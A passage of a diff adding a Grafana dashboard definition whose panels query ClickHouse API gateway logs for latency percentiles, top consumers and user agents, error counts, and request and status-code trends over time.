"restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "limit": 100, + "mode": "list", + "orderBy": [], + "table": "gloo_api_logs" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.25)(CAST(LogAttributes['response_duration'] AS INT)) as p25\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time\n\n", + "refId": "p25", + "selectedFormat": 1 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "\nSELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.5)(CAST(LogAttributes['response_duration'] AS INT)) as p50\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p50", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.75)(CAST(LogAttributes['response_duration'] AS INT)) as p75\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p75", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.90)(CAST(LogAttributes['response_duration'] AS INT)) as p90\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p90", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.95)(CAST(LogAttributes['response_duration'] AS INT)) as p95\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p95", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.99)(CAST(LogAttributes['response_duration'] AS INT)) as p99\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p99", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.999)(CAST(LogAttributes['response_duration'] AS INT)) as p999\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p999", + "selectedFormat": 4 + } + ], + "title": "Request latency", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "(.*)", + "renamePattern": "$1" + } + } + ], + "type": "timeseries" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Usage for API '$api_id' with usage plan '$usage_plan'", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "custom": { + "align": "auto", + "cellOptions": { + "type": "auto" + }, + "filterable": false, + "inspect": false + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "#6ED0E0", + "value": 1000 + }, + { + "color": "light-blue", + "value": 2000 + }, + { + "color": "light-orange", + "value": 5000 + }, + { + "color": "orange", + "value": 10000 + }, + { + "color": "semi-dark-orange", + "value": 20000 + }, + { + "color": "light-red", + "value": 50000 + }, + { + "color": "red", + "value": 100000 + }, + { + "color": "dark-red", + "value": 1000000 + } + ] + }, + "unit": "none" + }, + "overrides": [ + { + "matcher": { + "id": "byName", + "options": "Count" + }, + "properties": [ + { + "id": "custom.cellOptions", + "value": { + "mode": "gradient", + "type": "gauge", + "valueDisplayMode": "text" + } + } + ] + }, + { + "matcher": { + "id": "byName", + "options": "User" + }, + "properties": [ + { + "id": "custom.width", + "value": 216 + } + ] + } + ] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 0, + "y": 19 + }, + "id": 18, + "options": { + "cellHeight": "sm", + "footer": { + "countRows": false, + "enablePagination": false, + "fields": [ + "count" + ], + "reducer": [ + "sum" + ], + "show": true + }, + "showHeader": true, + "sortBy": [ + { + "desc": true, + "displayName": "Count" + } + ] + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "7XaPngu4k" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n CAST(LogAttributes['user_id'] AS VARCHAR) as User,\n count(*) AS Count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY\n User\nORDER BY\n Count Desc", + "refId": "A" + } + ], + "title": "Top API consumers", + "type": "table" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "custom": { + "align": "auto", + "cellOptions": { + "type": "auto" + }, + "filterable": false, + "inspect": false + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "#6ED0E0", + "value": 1000 + }, + { + "color": "light-blue", + "value": 2000 + }, + { + "color": "light-orange", + "value": 5000 + }, + { + "color": "orange", + "value": 10000 + }, + { + "color": "semi-dark-orange", + "value": 20000 + }, + { + "color": "light-red", + "value": 50000 + }, + { + "color": "red", + "value": 100000 + }, + { + "color": "dark-red", + "value": 1000000 + } + ] + }, + "unit": "none" + }, + "overrides": [ + { + "matcher": { + "id": "byName", + "options": "Count" + }, + "properties": [ + { + "id": "custom.cellOptions", + "value": { + "mode": "gradient", + "type": "gauge", + "valueDisplayMode": "text" + } + } + ] + }, + { + "matcher": { + "id": "byName", + "options": "User" + }, + "properties": [ + { + "id": "custom.width", + "value": 216 + } + ] + } + ] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 7, + "y": 19 + }, + "id": 200, + "options": { + "cellHeight": "sm", + "footer": { + "countRows": false, + "enablePagination": false, + "fields": [ + "count" + ], + "reducer": [ + "sum" + ], + "show": true + }, + "showHeader": true, + "sortBy": [ + { + "desc": true, + "displayName": "Count" + } + ] + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n CAST(LogAttributes['user_agent'] AS VARCHAR) as user_agent,\n count(*) AS Count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY\n user_agent\nORDER BY\n Count Desc", + "refId": "A", + "selectedFormat": 4 + } + ], + "title": "Top User Agents", + "type": "table" + }, + { + "collapsed": true, + "gridPos": { + "h": 1, + "w": 24, + "x": 0, + "y": 30 + }, + "id": 11, + "panels": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Total requests in this period for the API '$api_id'", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "#EAB839", + "value": 100000 + }, + { + "color": "red", + "value": 1000000 + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 0, + "y": 31 + }, + "id": 4, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n LogAttributes['api_id'] as apiId,\n count(*) AS count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY\n apiId\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "Total requests", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Total active users in this period", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "light-green", + "value": null + }, + { + "color": "green", + "value": 50000 + }, + { + "color": "yellow", + "value": 100000 + }, + { + "color": "semi-dark-yellow", + "value": 250000 + }, + { + "color": "orange", + "value": 500000 + }, + { + "color": "light-red", + "value": 1000000 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 4, + "y": 31 + }, + "id": 195, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n count(DISTINCT(LogAttributes['user_id']) as userId) as userCount\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri)\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "Total active users", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Server error count in this period (5xx status codes)", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "red", + "value": null + }, + { + "color": "dark-red", + "value": 10000 + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 8, + "y": 31 + }, + "id": 68, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n count(*) AS count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n CAST(LogAttributes['status_code'] AS INT) >= 500 AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "Server error count", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "User error count in this period (4xx status codes)", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "red", + "value": null + }, + { + "color": "dark-red", + "value": 10000 + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 12, + "y": 31 + }, + "id": 55, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n count(*) AS count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n CAST(LogAttributes['status_code'] AS INT) >= 400 AND CAST(LogAttributes['status_code'] AS INT) < 500 AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "User error count", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Usage for API '$api_id' with usage plan '$usage_plan'", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "custom": { + "align": "auto", + "cellOptions": { + "type": "auto" + }, + "filterable": false, + "inspect": false + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "#6ED0E0", + "value": 1000 + }, + { + "color": "light-blue", + "value": 2000 + }, + { + "color": "light-orange", + "value": 5000 + }, + { + "color": "orange", + "value": 10000 + }, + { + "color": "semi-dark-orange", + "value": 20000 + }, + { + "color": "light-red", + "value": 50000 + }, + { + "color": "red", + "value": 100000 + }, + { + "color": "dark-red", + "value": 1000000 + } + ] + }, + "unit": "none" + }, + "overrides": [ + { + "matcher": { + "id": "byName", + "options": "Count" + }, + "properties": [ + { + "id": "custom.cellOptions", + "value": { + "mode": "gradient", + "type": "gauge", + "valueDisplayMode": "text" + } + } + ] + }, + { + "matcher": { + "id": "byName", + "options": "User" + }, + "properties": [ + { + "id": "custom.width", + "value": 216 + } + ] + } + ] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 0, + "y": 35 + }, + "id": 170, + "options": { + "cellHeight": "sm", + "footer": { + "countRows": false, + "enablePagination": false, + "fields": [ + "count" + ], + "reducer": [ + "sum" + ], + "show": true + }, + "showHeader": true, + "sortBy": [ + { + "desc": true, + "displayName": "Count" + } + ] + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "7XaPngu4k" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n CAST(LogAttributes['user_id'] AS VARCHAR) as User,\n count(*) AS Count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY\n User\nORDER BY\n Count Desc", + "refId": "A" + } + ], + "title": "Top API consumers", + "type": "table" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "fillOpacity": 80, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineWidth": 1, + "scaleDistribution": { + "type": "linear" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 7, + "y": 35 + }, + "id": 168, + "interval": "15m", + "options": { + "barRadius": 0, + "barWidth": 0.97, + "fullHighlight": false, + "groupWidth": 0.7, + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "orientation": "auto", + "showValue": "auto", + "stacking": "none", + "tooltip": { + "mode": "single", + "sort": "none" + }, + "xTickLabelRotation": 0, + "xTickLabelSpacing": 0 + }, + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n $__timeInterval(Timestamp) AS time,\n LogAttributes['api_id'] AS apiId,\n count(*) AS count\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n apiId, \n time\nORDER BY \n time ASC", + "refId": "A" + } + ], + "title": "Requests over time", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "count (.*)", + "renamePattern": "$1" + } + } + ], + "type": "barchart" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "fillOpacity": 80, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineWidth": 1, + "scaleDistribution": { + "type": "linear" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green" + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 0, + "y": 46 + }, + "id": 169, + "interval": "30m", + "options": { + "barRadius": 0, + "barWidth": 0.97, + "fullHighlight": false, + "groupWidth": 0.7, + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "orientation": "auto", + "showValue": "auto", + "stacking": "normal", + "tooltip": { + "mode": "single", + "sort": "none" + }, + "xTickLabelRotation": 0, + "xTickLabelSpacing": 0 + }, + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n $__timeInterval(Timestamp) AS time,\n LogAttributes['status_code'] AS statusCode,\n count(*) as count\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n statusCode, \n time\nORDER BY \n time ASC", + "refId": "A" + } + ], + "title": "Status codes over time", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "count (.*)", + "renamePattern": "$1" + } + } + ], + "type": "barchart" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "", + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "drawStyle": "line", + "fillOpacity": 8, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineInterpolation": "linear", + "lineWidth": 1, + "pointSize": 5, + "scaleDistribution": { + "type": "linear" + }, + "showPoints": "auto", + "spanNulls": true, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green" + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 7, + "y": 46 + }, + "id": 149, + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "pluginVersion": "10.0.0", + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "database": "default", + "fields": [], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "limit": 100, + "mode": "list", + "orderBy": [], + "table": "gloo_api_logs" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "database": "default", + "fields": [], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "limit": 100, + "mode": "list", + "orderBy": [], + "table": "gloo_api_logs" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.25)(CAST(LogAttributes['response_duration'] AS INT)) as p25\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time\n\n", + "refId": "p25", + "selectedFormat": 1 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "\nSELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.5)(CAST(LogAttributes['response_duration'] AS INT)) as p50\nFROM\n 